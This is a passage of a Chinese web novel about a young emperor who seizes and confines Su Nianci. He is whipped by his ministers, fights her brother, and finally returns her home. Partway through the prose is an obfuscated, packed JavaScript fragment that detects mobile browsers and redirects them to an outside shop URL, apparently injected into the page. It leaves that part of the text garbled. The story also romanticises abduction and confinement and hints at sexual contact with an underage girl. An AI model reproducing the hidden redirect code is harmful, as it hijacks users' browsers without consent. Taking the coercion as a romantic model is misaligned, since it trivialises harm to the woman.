乾清宫里一众文武百官应声跪下,动作整齐划一,乌泱泱的乌纱帽像是乌云一样压得狭窄的大内难以喘息。 “请圣上诛杀奸佞,肃内廷!” 皇帝沉默着深呼吸了一口气,挺起胸膛,扬起脑袋,斜视着大殿百官。 “朕不,朕不会杀他们,朕也不许你们杀!朕是天子,是皇帝,天下都是朕的。朕不信朕保不了想保护的人,娶不了想娶之人!” 肖阁老气急败坏,抬起头,吹胡子瞪眼的斥道: “圣上是天子,是皇帝!圣上可是知道什么是为君之道,为君者,必先正先正身,故能抚九族以仁,接臣以礼。圣上听信这些阉宦的谗言都干了什么事,您还不知错,还护这些阉人,您如何对得起列祖列宗,对得起江山社稷,黎民百姓!” 皇帝不甘示弱,扯着嗓子回吼,“那阁老知道什么是为臣之道?君君臣臣,父父子子。朕是皇帝,不是给你们天天这样胁迫的,朕十七了!” 肖阁老:“看来圣上还不知道自己错哪里!臣受先帝重托辅政,如今皇上误入歧途,执迷不悟。臣只好不得已请先皇遗诏,匡扶皇上重归正途!来人,护送皇上去太庙,请先皇遗诏!” 一群锦衣卫闻声围上前,“请圣上上龙辇。” 殿外很快就抬来了龙辇,皇帝犟在殿里不走,以为这样他们就拿自己没办法了。 “朕是皇帝,你们敢把朕怎么样!” 肖首辅往地砖上磕了几个响头,望着皇帝悲痛道: “圣上,老臣无礼了。今日过后,臣自当去向先皇请罪。来人,请圣上上龙辇!” 锦衣卫两个人一架,皇帝就跟拎小鸡一样塞到了龙辇上,一如十一年前寒冷的雨夜。 那夜苏家老头抱着他塞上轿子,一路去乾清宫的路上都没放开,温柔的和他说: “凌王殿下,抓紧臣的手,臣带您去见皇上。以后你要永远记住,你是陛下的儿子,将来的天下之主。除了您自己,没有人可以做您的主。” 皇帝突然感到一阵悲哀心酸,抓着扶手突然发狂大笑。 “哈哈哈哈,朕错了,朕哪里错了!朕错在不听你们这些正人君子的话了是不是,你们不就是想要一个听话的皇帝吗?朕告诉你们,朕不是!苏娘子就是朕抢的,朕把她关在宫里了,你们谁也别想找到她!宫门也是朕叫锁的,怎么这是朕的大内,朕的紫禁城!朕就是这样的皇帝,你们能把朕怎么样,你们敢抓朕吗!” 百官簇拥在龙辇边交头接耳,有人小声道:“哎,皇上疯了。” 这个时候确实没有人敢抓皇帝,但是到太庙,皇帝就挨揍了。太庙寝殿里供奉着一根打龙鞭,上可打无道昏君,下当诛奸邪谗臣。 皇帝下了轿龙辇就被架进寝殿里,太监关了门前来了个锦衣卫,低声道: “回阁老的话,宫里没找到苏娘子,还有有人把那几个太监劫走了。” 大殿里就只有内阁几个阁臣,除了肖阁老,其他几个人都陪皇帝跪着。太监给肖阁老请鞭子时候,低声传了锦衣卫的话。 肖阁老躬身站在大殿一旁,沉声问: “圣上到底何处习得这些荒唐行径,强抢民女,诏狱劫囚。圣上也说您十七了,不是孩子了!可是圣上做的事是一国之君该做的吗?当着列祖列宗的面,您自己说知不知道错了!否则老臣就是冒死匡扶正义君徳了!” 皇帝跪在先皇牌位面前,梗着脖子硬顶嘴,“朕没错,朕不认!朕就是这样的皇帝,朕只是想做朕想做的事。如果连这都做不到,当这皇帝还有什么意思!” “圣上,当着先皇,列祖列宗的面您怎么能说这样的混账话!到了现在您还不认错,还在纵着自己的孩子性胡做非分!” 肖阁老对列代先皇牌位跪下磕头,然后取过太监的打龙鞭抽在皇帝背上。 “圣上,当着列祖列宗的面,您说知道错了没有!” “朕没错,朕不认,朕就是这样的皇帝!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562831|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 皇帝不认错,直挺挺的跪在蒲团上。肖阁老铆足了劲抽,昏暗的大殿里响着凌厉的鞭声,慢慢弥漫开血腥。 足足抽够三十六鞭,肖阁老面目悲痛的停下手,“圣上知道错了没有!” 皇帝年轻,身体好,挨了一顿鞭子面色不改,“朕没错,朕不认!” “你,混账东西!” 肖阁老刚骂出声,次辅高玺忙起身拉住他,“够了,阁老。皇上年纪还小,慢慢教,他会懂的。来人,护送皇上回宫,请太医。” 肖阁老只是作罢递过鞭子,太监接过放在供案上。殿门开启,从外面涌进来一群新面孔小太监。 “万岁爷,回宫吧。” 他们架起皇帝扶上龙辇,一行人浩浩荡荡的太庙里出来,内阁几位阁成和百官一起护送皇帝回乾清宫。 天黑,不到半个时辰,皇帝德行有失,纵容宦官乱政。内阁请出打龙鞭,匡扶君上得失的消息就传遍了京师。 这个时候皇帝在乾清宫已经把诊治的太医打了出去,跟只疯狗一样见谁都咬,谁都知道他心里憋屈,有气。 可为什么呢? 没有人知道。 后来,长丰来了,领着四福、五福、六福好几个太监。几个人都不太好,挨了刑鼻青脸肿,有的胳膊都被折断了,晃晃悠悠的挂在肩膀上。看见皇帝,每个人却都在笑。 “万…..岁爷,奴婢们没事,好着呢!” 皇帝回头,鼻子一酸,不争气的抹了眼睛,“朕也没事,朕也好着呢!” 他们一起狼狈的坐在宫殿下,互相依靠着,望着黑透了的天。 四福笑道:“万岁爷,奴婢一辈子都跟着您!” 五福、六福、七福也应和道:“奴婢们也跟着您,万岁爷!” 皇帝有些不好意思,撇了他们一眼,“为什么,朕是个纸糊皇帝,你们就不怕朕自身难保?” “不怕,我们相信你。因为万岁爷您和别人不一样。” “有什么不一样,不都就是两个眼睛,一个鼻子。” 四福他们也说不出来了。 长丰抱着剑,淡淡道:“圣上身上有侠气。” “…..侠气?”皇帝念着会心一笑,想起苏娘子来了,“苏娘子呢,怎么样了,今日苏家的人是不是趁乱进宫来了?” “嗯,但只有苏三公子,没有找到苏娘子就跟着阁老的人走了。苏娘子现在在坤宁宫,安心姑姑在陪着她。” 皇帝收敛神色,盘腿坐正,“只有苏三哥,苏大哥、二哥还有苏师父为何一直没有消息。他们回不来,家书也该到了。” 他抓住四福,脸色紧张又急迫,“四福,朕想出宫去苏家一趟,你有办法吗?但朕这回没银子了,下次加倍还给你。” 四福:“有万岁爷在,还会少了奴婢们的银子吗?” 他摸出腰间的钱袋子,啪的放在地上。五福、六福、七福也纷纷拿出自己的银子,“奴婢们有银子,万岁爷您先使着。” “朕不用银子,你们给朕想办法出宫,找辆马车去苏府就可以。” “这简单,爷您等着。” 几个人爬起来,各自忙开。四福找来了套太监衣服,皇帝穿上。六福就来传话了,“万岁爷,准备好了吗?宫门我们都打点好了。” “好了,走。”长丰站在殿外,皇帝喊道:“你留在宫里,替朕保护苏娘子。” “嗯。” 不多时,四福几个人就把皇帝装在恭桶里弄出宫,雇了辆马车赶去江米巷。 经过鼓楼大街的时候,马车与肖府抬棺的下人相遇,四福低声道:“万岁爷,是肖府的下人,在抬肖阁老的寿材。” 皇帝掀帘,看见肖阁老站在肖府门前等。 四福又问:“爷,今儿肖阁老那么对您,您会杀了他吗?” 皇帝放下帘子,淡淡道:“不会,也不能。” 四福撇了撇嘴,马车跑过鼓楼大街,不多时就到了江米巷。 皇帝下车,让四福他们留在马车上。 苏府藏在一棵大槐树下,只有小小的一进院,院墙垒的也不高,踮脚就能看见里面亮灯。 皇帝走到门下伸手敲门,来开门的苏家的老管家。一眼就认出皇帝了,吓得一激灵,礼也忘记了行。砰的又把门关上,门再打开站在门后的就是苏三郎了。 “你….你这浑小子,还敢来!我妹妹呢,你把我妹妹藏哪里去了!” 三郎正在气头之上,看见皇帝一拳就挥了过去。打完了好像才意识到,有什么地方不对。 皇帝吃痛吐出一口血水,动动破了的嘴,“这一拳朕不与你计较,朕只问你请肖阁老救你妹妹,是你父亲和你大哥、二哥的意思?也是他们让你写信给念辞,让她不要相信朕的话,嫁给朕?” “….关你什么,你是皇帝就可以胡作非为,抢强民女了是吗?念辞是我妹妹,她失踪了,我们自然要找!” 三郎神色有些慌张,皇帝努努嘴冷冷的哼道: “三哥,你难道就不好奇为什么苏师父和苏大哥、苏二哥的家书还没到京吗?朕今夜来只是来告诉你一件事,玉已非完璧,朕无法归赵!” “你混蛋,岳凌,你对我妹妹做了什么?她还未及笄,混蛋!我要杀了你,杀了你!” 三郎怒涨着脸扑上来,扑到皇帝骑在他身上拳打脚踢。皇帝没吭声,任由他打,四福他们要过来帮忙也被制止了。 8. 第 8 章 江米巷苏家门口,皇帝和苏三郎滚在地上打架,两个人都怕惊动府里的苏夫人。揍的实心拳不手软,吃的闷头痛,跟疯狗一样抱着一起撕咬。 天淅淅沥沥下起了雨,四福趴在马车上压着声音喊皇帝,“万岁爷,下雨了,您们还没打完吗?” 听见他的声音,地下的两个人愣了一下。三郎抓着机会,挥胳膊狠狠往皇帝脸上揍了一圈,翻身压倒皇帝,哐哐往人脑袋上挥拳头。 “你个混小子,王八蛋!枉我父亲舍命扶你上位,枉我妹妹当初对你那么好,一口一个岳凌哥哥的叫你!岳凌,你的良心被狗吃了是不是!” 皇帝有些挨不住揍了,抱着脑袋不在还手,闷声喊: “反正朕不后悔,该做的不该做的,朕都做了。朕不明白,为什么苏师父不愿意把念念嫁给我,为什么不愿意入阁,为什么恩荫亲族子弟,为什么朕给他什么,他都拒绝了!” 雨势渐大,地面上浮起水汽,水雾朦胧。 四福和五福跑下车,蹲到皇帝和苏三郎身边,问: “两位爷,打完了没,打完咱们该回宫了。” 皇帝一把撅开身上的苏三郎,“够了,朕改天再和你打!” 三郎躺在地下,睁着大眼睛看着天,很难过。 “岳凌,你没有做过父亲,没有做过哥哥,你不会明白我们的。” “哼,三哥,苏师父是个老古板,朕同他说不通。朕娶了念念,立她为后,你就是国舅。朕给你封官,举人你也不用考了。” 皇帝边说边搭着三福的手起身,提着泥泞的袍子的爬上马车。 三郎十五岁就中了秀才,举人却考了十年屡次不中,被戳中肺管子,脸色瞬间就黑了。爬来顶着一脸泥,站在家门指着皇帝的背影,愤愤的喊道: “本公子不受嗟来之食,不稀罕!凭我自己,我一样可以考中举人!” 皇帝从车内掀开车帘,一脸的轻蔑,“朕看三哥就不是那块料,你就等着给朕当国舅吧,差使朕会给你安排的。” “你…..” 三郎脸色青一阵白一阵,正要追上前去争一口气。皇帝吩咐四福驾车扬长而去,老管家从门后钻出来,拉住三郎恨铁不成钢的叹气。 “三爷怎能这般冲动,同圣上打架。叫老爷和大爷知道,您又要挨揍了。” 三郎哼了哼有不服,可也无可奈何。揉揉胳膊,擦擦脸,不自在的问: “长伯,您也觉得我考不上举人了吗?” 长伯开门,走在前面提灯引路,“三爷尽人事就好,只是在咱们家娘子这件事上,您安心等老爷和大爷、二爷的消息就好,先别跟着朝里的人瞎胡闹。您举人都没考上,朝廷里的事哪里能看明白。” “可….可是,好几天了,他们怎么还没消息,妹妹都叫那小子欺负去了!” 长伯神色一凝,“那就是他们的消息传不回来了。” 三郎:“那怎么办法,我不能什么都不做啊!” 长伯:“老爷回来之前,三爷什么都不要做。” 三郎还是不明白,“不行,我明天得去问问郭尚书,信是他派人八百里加急松的,说好两天就能到。” 紫禁城,入了掖门,皇帝从送恭桶的板车上跳下来。四福赶紧撑着油伞上前去遮雨,“爷,咱快回宫去吧。您这身上还有伤得赶快处理,不然该是要发炎的。” 皇帝推开他的伞,动了动肩膀。衣服淋湿了,紧紧的贴在肉上,沾着白日的鞭伤。他突然拉开领子,露出膀子转过背来。 “四福,怎么样,朕伤的伤口严不严重?” 四福凑上去细细瞧,伤口不深,不严重。但是伤口烂了,估摸着是在苏家门口打架的时候蹭的。 “爷,看着挺唬人的,血肉模糊。” “那就行。”皇帝穿好衣服,又凑上脑袋来,“你摸摸朕的额头,烫不烫?” 四福探手,摇头,“不烫,有点凉。爷咱们快回宫吧,您身上有伤,还淋雨不行的。” “没事,朕再淋一会儿。你们去墙下避雨,等等朕。” “爷,您要什么?” “你不用管,快去。” 皇帝赶他们走,站在雨里把衣服脱了,光着膀子淋雨。四福抬头瞧瞧了落下的雨丝,扑在脸上凉飕飕的,不由的让打寒战。 他突然明白了,又小跑回去,含笑问道:“万岁爷,您想让苏娘子关心您,心疼您是不是?” 皇帝傲娇的别过脸,“女人最是心软了,朕不信她不会喜欢朕。” 四福捂嘴笑,“爷,好女怕缠郎,您就等着抱得美人归吧。” “行了行了,朕现在脑袋有点晕,再等等就回坤宁宫去。” 皇帝没忍住也笑了,感觉心口暖暖的。 半个时辰后,皇帝身上有些打哆嗦了。站在雨里踉跄一歪险些摔倒,四福和五福赶紧打伞跑上前来扶住他。 “爷,差不多了。” 四福探了探皇帝的额头,开始有些烫了,人的脸色也不对劲了。 “嗯,咱们走着回去。” 皇帝穿好衣服,淋雨走去坤宁宫,四福几个小太监打折伞跟在后面。 没一会儿皇帝走着走着脑袋就昏了,腿脚发软,像是有小鬼顿在肩膀上,身子沉甸甸的。 他有些走不动了,从未觉得去坤宁宫的路那么的长。长长的呼出一口浊气,蔫蔫的问道: “四福,坤宁宫到了吗?怎么那么远,朕快要走不动了。” 四福望了眼不见底的宫道,应道:“就快到了,爷,您看坤宁宫就在前面呢。” “喔。”皇帝摇晃着身子继续走,一路上问了好几遍。 到坤宁宫的时候,意识就快要模糊了。抬脚没跨过,叫宫槛绊倒摔在地。 坤宁宫里还亮着灯,听见动静安心姑姑就掌灯出来了,只看见皇帝狼狈的爬在雨水里。 “圣….圣上?那么晚了,您怎么来了?” 安心姑姑连忙撑伞走到宫门下搀起皇帝,四福几个人突然从墙后蹿出来,架着她就往宫外跑。 “你….你们干什么?放开我,大晚上的做什么,要带我去哪里?我还要去伺候苏娘子,你们几个怎么当差,叫圣上在外面淋雨。” 四福赶紧给安心姑姑行礼赔罪,“给姑姑赔礼,叫姑姑受惊了。今夜您就不用管苏娘子了,圣上也不用管了,咱们只管下去歇息去了。” 安心姑姑:“你们要干什么,圣上我适才瞧着不太对劲,看着像是病了,怎么还不去请太医?” 四福:“没事,用请太医。有苏娘子在,不会叫圣上出事的。姑姑不必费心了,早些歇息着去吧。” “不行,皇上生病了,苏娘子不懂医术,她一个人应付不过来。” 安心姑姑撇开四福几人,跑回坤宁宫。 皇帝刚才从地上爬起来,跌跌撞撞的走向大殿。苏娘子听见外面的动静了,久不见安心姑姑回来。 等了一会儿有些担心,下床屐了鞋披着长衫走到殿门口。皇帝高大的身影就落在殿门上,她认出来不是安心姑姑,犹豫了一会儿打开门。 皇帝突然摔进殿,满身的水汽血腥。伸手抓住苏娘子的肩膀,将她搂紧潮湿的怀抱里。 “……念念,是朕,你别怕。” “你….你怎么来了?” 苏娘子额头碰到了皇帝滚热的脖颈,滚烫如火的呼吸一样急促的扫着她的头顶脖颈。 “你…..怎么了?” 她听说了,皇帝今日被押到太庙去了,内阁请出打龙鞭狠狠的教训了一顿这位荒诞不经的皇帝。 可他为什么受伤了不好好去治疗,倒跑去淋雨了,淋雨会生病的。 “朕没事,真的没事,为了你朕不后悔。朕喜欢你,真的喜欢你,你知道的对不对?我的心在说我爱你,你听得到的对不对?” 皇帝放开苏娘子,牵起的她手伸进自己的衣领里,摸着自己滚热的胸口。 “你不信,可以把我的心掏出来看看。” 苏娘子吓得手一颤,连忙抽了出来,蹙着眉头十分不高兴。 “为什么?你为什么喜欢我,喜欢我什么?我们十多年没见过了,你在你的紫禁城,我在我的四川。你为什么总是说这些话,做出这些荒唐的事来?从前那里谦逊有礼的岳凌哥哥呢,我爹爹一直视你为得意门生,倾其所有的教你为君治国之道?你又做了什么事回报他,岳凌哥哥,你太让我失望了!” “念念,你还愿意叫我岳凌哥哥。” 皇帝笑起来,温柔的看着苏娘子,抚上她的脸,指腹忘乎所以的临摹着她的眉眼。 “朕喜欢你,朕就是喜欢你,纵使你问上 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可苏娘子并没有生气,也没有大声骂他吼他。坐在地下神色呆滞,皇帝迷迷糊糊的钻进她怀里,枕着她的腿睡着了。 “念念,朕喜欢,真的真的喜欢你。” 皇帝闷闷的想,这话他要说上一千遍一万遍,一遍一遍的说到她相信为止。 苏娘子抬眼望着殿门,苦涩的笑了。 不明白,爱一个人怎会舍得委屈她,囚禁她。 相爱不是世间最美好的感情吗? 冷雨寒夜,凉意涌进殿内。苏娘子发了一会儿呆后,抄皇帝的胳膊,架着他拖到床边。 扒光了衣服,留着一条底裤扔上床。又去侧殿打了水取来金创药清理伤口,皇帝在发烧,身体滚烫热气一会儿就融化了药粉,凝结在伤口上。 弄完后,苏娘子嫌弃的摸了摸他的脑袋。想起小时候在南书房第一次看见皇帝生病的模样,苏老先生也是扒光了他的衣服刮痧退热。 她看不懂,趴在床边问:“爹爹,岳凌哥哥生病了,为什么不吃药呢?” 苏老生招招手,示意小姑娘子过来,拉着她的手握住刮痧板教她刮。 “因为殿下的体质和别人不一样,不能吃药,只能用刮痧来退热。念念看好,项五带、肩胛环、肘窝刮、神灵刮、委中三带,配曲池、外关、合谷、液门、阴凌泉、足三里、复溜、太冲,刮出痧,热气散出来了,殿下就好了。” “喔,这样吗?” 小姑娘子学着老先生刚才的样子,拿着刮痧板刮一起,随着老先生的受劲一会儿就有了心得。 “爹爹,我会了。” 老先生摸摸她的脑袋,宠溺的笑。 后面不到半年的时间,小皇帝又病了。老先生一个没看住,小姑娘爬到床上,给脱得光溜溜的小皇帝刮痧去了。吓得老先生不到一个月就派人把小姑娘送回四川老家了,此后十一年一次再也没来过京城。 苏娘子还记得小时候的记忆,跑到妆台上翻箱倒柜,弄的大殿内里乒乒乓乓的响。 皇帝睡了一觉,迷迷糊糊的睁开眼。望着她窈窕的背影,喊道: “念念,你在找什么?” 苏娘子头也不回,冷冷道:“找刀子,皇上不是让我剖开你的心,来您到底是什么心肝脾肺肾吗?” “你…..舍不得的对不对?” 皇帝吁了口灼气,莫名有些怕。怕这个姑娘子真的以为自己欺负了,要杀了他来泄愤。 可是….他想了想,就是死也不要告诉她真相。 苏娘子回到床边,挨着皇帝坐下。左手中端着一杯温热的水,右手拿着一柄象牙梳。象牙梳沾了水刮在他的脖子、肩胛…….胸口上。力道匀而稳,慢而柔,大片淤紫。 皇帝慢慢觉得闷在胸口的那口郁气散开了,可以痛快的喘息,浑身的酸胀尽退。 他觉得自己又有力气了,抬手抓住胸口上苏娘子的手,握在掌心里。缓缓闭上眼,从眼角落下一滴清泪。 “念念…..” 他想起来了,小时候有一次她也那么帮他刮过痧。 只是回去却被苏老先生狠狠的打了一顿板子,苏三哥说她手指肿的笔都拿不住了,养了好久好久都不再来南书房了。后来没多久,苏家人就把她送回四川老家去了。 9. 第 9 章 五更的北京,天还黑透了,偌大的城却已在夜幕下,缓缓呼吸过来了。 灯火稀疏上的街道上有出城的水车,城郊送货的庄稼户,卖早点的小贩。还有赶着上早朝的京官,坐轿的,也有走路从几里外赶来,排不上号的末流小官。 乌泱泱的人影汇聚在午门广场下,在左右两侧的小掖门下排队,等着紫禁城敲响晨中。 今日百官里还有些不一样,正午门下放着一口油黑发亮的木棺。肖阁老一身绯色站在棺前,负手而立紧闭双眼,敛容息气。周遭官员具皆噤声,神色严肃。 五凤楼上,贴着红墙探出顶帽子,往午门前望了一眼急匆匆跑下楼。身影跑到坤宁宫,躲在侧殿门后小声的喊: “万岁爷,肖阁老抬着棺材在午门前呢。” 皇帝理了理腰带,接过大福递过来的玉坠荷包,一样一样细心挂好,捋齐穗子。又对着铜镜正帽子,偏头露出脖子摸摸肌肤上大片的痧痕,不由自主扯了扯嘴角。 大福看见,赶紧拉上领子遮住,道: “万岁爷,您遮好别漏出来,叫阁老们看见了又该生气了。” “不怕,这是苏娘子弄的。” 皇帝穿好衣服,乘上步辇前又到寝殿里看了眼苏娘子,低声叮嘱安心姑姑。 “姑姑,娘子昨夜照顾朕累了,别吵醒她,让她睡够去。” “是,皇上。” 安心姑姑福身行礼,恭送皇帝离开。四福在殿外等,皇帝上了步辇,跟在一旁又重复了一遍刚才的话。 皇帝转着手中的扳指,看了他一眼道: “没事,四福,他们不敢拿朕怎么样。倒是你还有小五、小七他们几个,以后没事别凑到阁老们跟前去,让他们逮到了。以后你们就跟长丰一样,做朕的暗卫。朕需要的时候,会给你们找身份。” “是,万岁爷。” 四福停在坤宁宫前,目送皇帝的步辇消失,转身走去景阳宫。 早朝各部大臣列班,整整齐齐的站在金銮殿下。挨着御座最近的大臣出现了一道久违的身影,穿着发白的绯色仙鹤补子官袍。 三年不见,具白了双鬓,退去一身的书香气,黑的跟一个种地的庄稼汉一样。 皇帝看见鼻子头就酸了,匆匆别过脸。照列受完诸臣拜礼,行完礼后,殿里的气氛有些肃杀。他先喊了那个灰扑扑的老头,声音不由自主的哽咽了。 “苏师父,您回京了,什么时候到的。” 苏萤臣持笏跨出队列,撩袍跪地行礼。 “回圣上的话,老臣今日卯时进京的。黄河洪水已泄,各县决堤堤坝臣具以督修加固,臣特回京述职。” 皇帝收敛情绪,抬手示意苏萤臣起身,“师父请起,有师父在,朕相信师父修的河堤一定是最坚固,灾民也定会得到妥善安置,师父这些年辛苦了。” “全仰仗我皇上隆恩洪福,河南水灾抗洪重建才得意顺利俊事。” 苏萤臣起身退回队列中,大殿里的气氛缓和了一些。皇帝深呼吸一口气,故作轻松的问: “诸位臣工还有什么事要奏吗?” 肖阁老走出队列,绷着脸跪下地,“圣上,老臣有本奏。圣上不要听信奸佞谗言,包庇乱政阉宦。为肃清内廷,以正视听,请圣上把那几个太监交出来,下旨于午门前处死。圣上若不纳谏,老臣就撞死在金阶上,于向列祖列宗请罪。” 皇帝抬眼,脸色有些不耐烦,“阁老,您在威胁朕是不是。朕是想庇护他们,舍不得杀他们。但人昨日就被锦衣卫抓去了,阁老要朕交什么人?阁老口口声声君臣之道,难道朕这个皇帝就是像昨日给你们大臣这样打的,这样质疑的?朕做过的事,朕会认!你们自己抓不到,朝朕来嚷嚷什么?” “圣上还不认为自己错了是吗?既是如此,就是老臣无法匡夫君徳,无能昏聩了。圣上既觉颜面尽失,那就请下旨处死老臣!臣昨日既敢请打龙鞭,就没有想再想过苟活于世,看着圣上误入歧途,变成一个无道昏君,辜负列祖先徳之恩。臣等一家百余百口,愿陪臣一起死!” “阁老想死,落一个忠臣的名声。只可惜朕不是纣王,昨日的事朕心下是气不过。朕知道诸位臣工都是为朕好,朕可能的确不是你们心目中圣明天子,但朕感恩你们这些的年尽心辅佐。” 皇帝突然起身,走下御阶搀扶起肖阁老,望着一众神色讳莫如深的官员,目光真切。 “翻来覆去的话朕不想再多说了,其他事朕都可以听你们的。只在立后之事上,朕还是那句话,朕要娶文渊阁大学士苏萤臣的女儿苏念辞。” 他拉着肖阁老,走到苏萤臣面前,“这是朕作为皇帝,亲自下的第一道圣旨。传谕各省督抚,昭告天下,册封大学士苏萤臣的女儿苏念辞为后。” 大殿一片死了的沉寂,所有人的目光都暗暗集中到了苏萤臣的身上。 老头沉默,攥紧了袖中的拳头,沉重的呼吸着,额头上青筋暴起。 肖阁老凌厉的目光扫着苏萤臣的头顶,大殿里的气氛一时间又紧张了起来了。 满朝文武都知道当年先皇病逝,先帝只有奴生的皇子在世,年幼不足六岁。 乾清宫先皇梓宫前,内阁力主遵照《皇明祖训》兄终弟及之列,恭迎仁宗第五子钟山王。 停灵当夜,时任兵部尚书的苏萤臣饬令五城兵马司封城,带领八百兵弁兵围乾清宫。誓死拥立一个来历不明的孩子为帝,痛斥满朝文武,不惜血溅先帝灵前。 “先帝皇子在,何以迎立藩王?吾属食君禄尽臣事,若不立帝子,宁死从帝于地下而已!” 如今当日的情景又重现了,苏萤臣早已不负当年的意气。 肖兴国却依旧权势滔天,当年拥立钟山王不成,迫于形势迎立幼主,成为第一辅政大臣,执掌朝政。 苏萤臣却只是挂着一个文渊阁大学士、帝师的虚名,实际只是整日与河道打交道的小小郎官。 皇帝等了很久,大殿安静的连喘息声都消失了。 “苏师父,朕想娶念念为妻。” 苏萤臣终是有了反应,跪地俯首,嗓子里堵着一口浊气,嘶哑着声音道: “身为臣子,臣希望皇上娶亲立后,绵延子嗣福泽天下。身为一个父亲,我希望我的女儿能够选自己夫婿,嫁自己喜欢的人。臣现在不能遵旨,请圣上恕罪。” 此话一出,朝廷剑拔弩张的气氛竟瞬间松弛了。皇帝平静的扫一眼群臣,心下涌上一阵悲凉。 “退朝吧,朕累了。” 肖兴国给领班太监递了一个眼色,大殿里立刻唱“退朝~” 皇帝拂袖而去,群臣叩首徐徐推出。大殿人走光了,苏萤臣最后一个退出离宫。 掖门外,三郎和管家长伯已经驾车在等候了。两人等了好一会儿了,早朝的情形已经听退朝的大臣议论的七八分了。 三郎迎了父亲上车后,担忧的问:“父亲,那小子在朝堂胁迫您了?” 苏萤臣掏出手帕擦了擦脸上的虚汗,脸色不悦,“他是圣上,不容无礼。听说你还和他打架,这几天跟着肖兴国群人大闹紫禁城?” 三郎心虚的低头,“是妹妹被他欺负了,儿子心急才…..而且首辅他们也是真的想要救妹妹的。” “愚蠢,从今日起你给我好好在府里读书,秋闱之前不许出书房!” 苏萤臣脸一绷黑的吓人,三郎就不敢说话了,在父亲嫌弃的目光一下挨到家,头也不回的钻进书房里。 苏家,文夕老夫人也听到外面的风声了。掺着婆子的手打帘走进花厅,看见苏萤臣便就气不打一来。 “看你教出来的好皇帝,好的不学,学人家地痞流氓抢强良家妇女!你的是他的老师,你还不赶紧让他念念送回!念念要是出了什么事,我跟你没完苏萤臣!” 老先生早朝受了一肚子气,心里也不好受。事情正是一团糟,三郎被忽悠的跟着 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文夕夫人咳了几声,苏萤臣担心的紧,搀扶着她回房。 紫禁城,天黑后。皇帝就喊来四福,让他想办法弄一辆马车,请安心姑姑给苏娘子梳洗打扮。 这次不再强迫她穿宫装,梳繁复精致的发髻。打扮成了刚来的模样,挽着简单的双丫髻,点缀两只翠绿的绒花。一袭豆绿对襟比甲长衫,配藕色膝阑马面裙,蝴蝶绣花蓝鞋。 苏娘子原就生着一张银盘脸,一双水杏眸,打扮的娇俏喜人。皇帝看见眼前一亮,发觉她不穿宫装,身上那股子灵气反而更盛了。 但是…..皇帝弯腰低头,小声的问三福,“苏娘子是不是瘦了,三福?脸好像瘦了一圈,眼睛更大,鼻子也更翘了。” 三福默默的叹气,不知晓皇帝到底是要苏娘子瘦了好还是胖了好。 “爷,苏娘子从进宫来就吃的少,天天忧虑着要出宫回家,肯定瘦了。” 他们两个人站在八仙桌边嘀嘀咕咕,苏娘子打扮完,看着镜子里的人竟有些不习惯了。她回过头来,不高兴的瞪皇帝。 “你又抽什么疯,今天晚上?” 皇帝上前牵苏娘子的手,握在掌心里,指腹温柔的摩挲着她的肌肤,思绪落进她那一汪纯净的秋水眸中。 “朕带你回家好不好,从宫里坐马车出午门,经过五通街到江米巷去。你爹爹回来了,念念,朕带你去见他。” “你…..你说什么?” 苏娘子竟有些不敢相信了,坐上了停在坤宁宫的马车还感到恍惚不真实。她没想到真的可以离开了,这样大摇大摆的走出这个牢笼。 “娘子慢点…..”马车走前,安心姑姑从坤宁宫里追出来,塞了一只灰扑扑的小布狗在苏娘子怀里,“娘子夜里睡觉不安稳抱着睡,昨日奴婢刚洗干净了。娘子回去了,还回来吗?” 安心姑姑问完就意识到问了不该问的话了,赶紧的退了一旁同三福、五福他们站在宫道上。 苏娘子手里抓着小布狗,看见了他们脸上的不舍,心下竟有难过。那句不回来了,堵在嗓子里,最后没说出来。 皇帝:“四福,走吧。” 马车动起来了,皇帝放下车帘歪在靠枕上盯着苏娘子的小布狗。 “你夜里会睡不好是吗?为什么,刚来的时候,朕记得你没有这个毛病的。” 苏娘子嫌弃的把狗扔到皇帝的怀里,“还给你,什么破东西。” 皇帝捡起来又扔回了她的怀里,“你洗干净了,朕不要了。” 苏娘子嫌弃,抓起来就狠狠往地下扔。马车晃了几下,小狗滚到脚边,她又一脚踢翻飞到皇帝脚边。 皇帝看见,动动脚嫌弃的提回来了。两个人一来一回的踢,还没分出个高下输赢。马车就停住,帘外响四福的声音。 “万岁爷,苏府到了。” 10. 第 10 章 马车停在苏家门口,长伯看见激动的不得了,跑进府里喊:“老爷,夫人!娘子回来了,娘子回来了!” 文夕夫人不顾苏萤臣阻拦下床,扶着雕花木门,以为自己听岔了。 “什么,长伯你说什么?念念回来了,她在哪儿?” “就在府外,夫人去看看就知道了!” 长伯忙引路,三郎在书房里听见动静,搁下书本也赶了出去。一群人跑到府门口,皇帝正跳下马车,亲自放了方凳伸手扶苏娘子。 “念念到了,你爹娘还有哥哥来接你了。” 苏娘子探出头,看见爹娘鼻子一下就酸了。恶狠狠的打掉皇帝的爪子,提着裙子跳下车,跑到文夕和苏萤臣面前,委屈的抱住他们。 皇帝讪讪的收手,瞧着苏娘子轻灵越过的背影,张了张嘴面色尴尬。 “念念,你还跟朕回去吗?” 没人听见他的话,亦或是没人欢迎他,全当作他是空气。一家人欢欢喜喜的迎了苏娘子进府,嘘寒问暖,关怀备至。 最后长伯还把大门关上了,热热闹闹的苏家门口瞬间清冷下来,只剩下皇帝和四福孤零零的站在风口里。 “万岁爷,现在咱们去哪儿?” 四福问,苏家把门都关上了,显然是不欢迎他们,没派人揍他们一顿都是不错的了。 可是苏娘子回家了,这些日子都算什么了呢? “万岁爷,您怎么了?” 皇帝跟失去了魂魄似的,四福捅了捅他的胳膊肘,面色颇为担忧。 “没事,去马车里把苏娘子的小狗给朕拿来。” 四福赶紧跑到马车上,捡起适才被嫌弃的踢来踢去,弄的脏兮兮的小布狗。拍拍灰,吹了好几下回到皇帝身边递给他。 “爷,给您。” “嗯,没事了,你去马车上等着。” 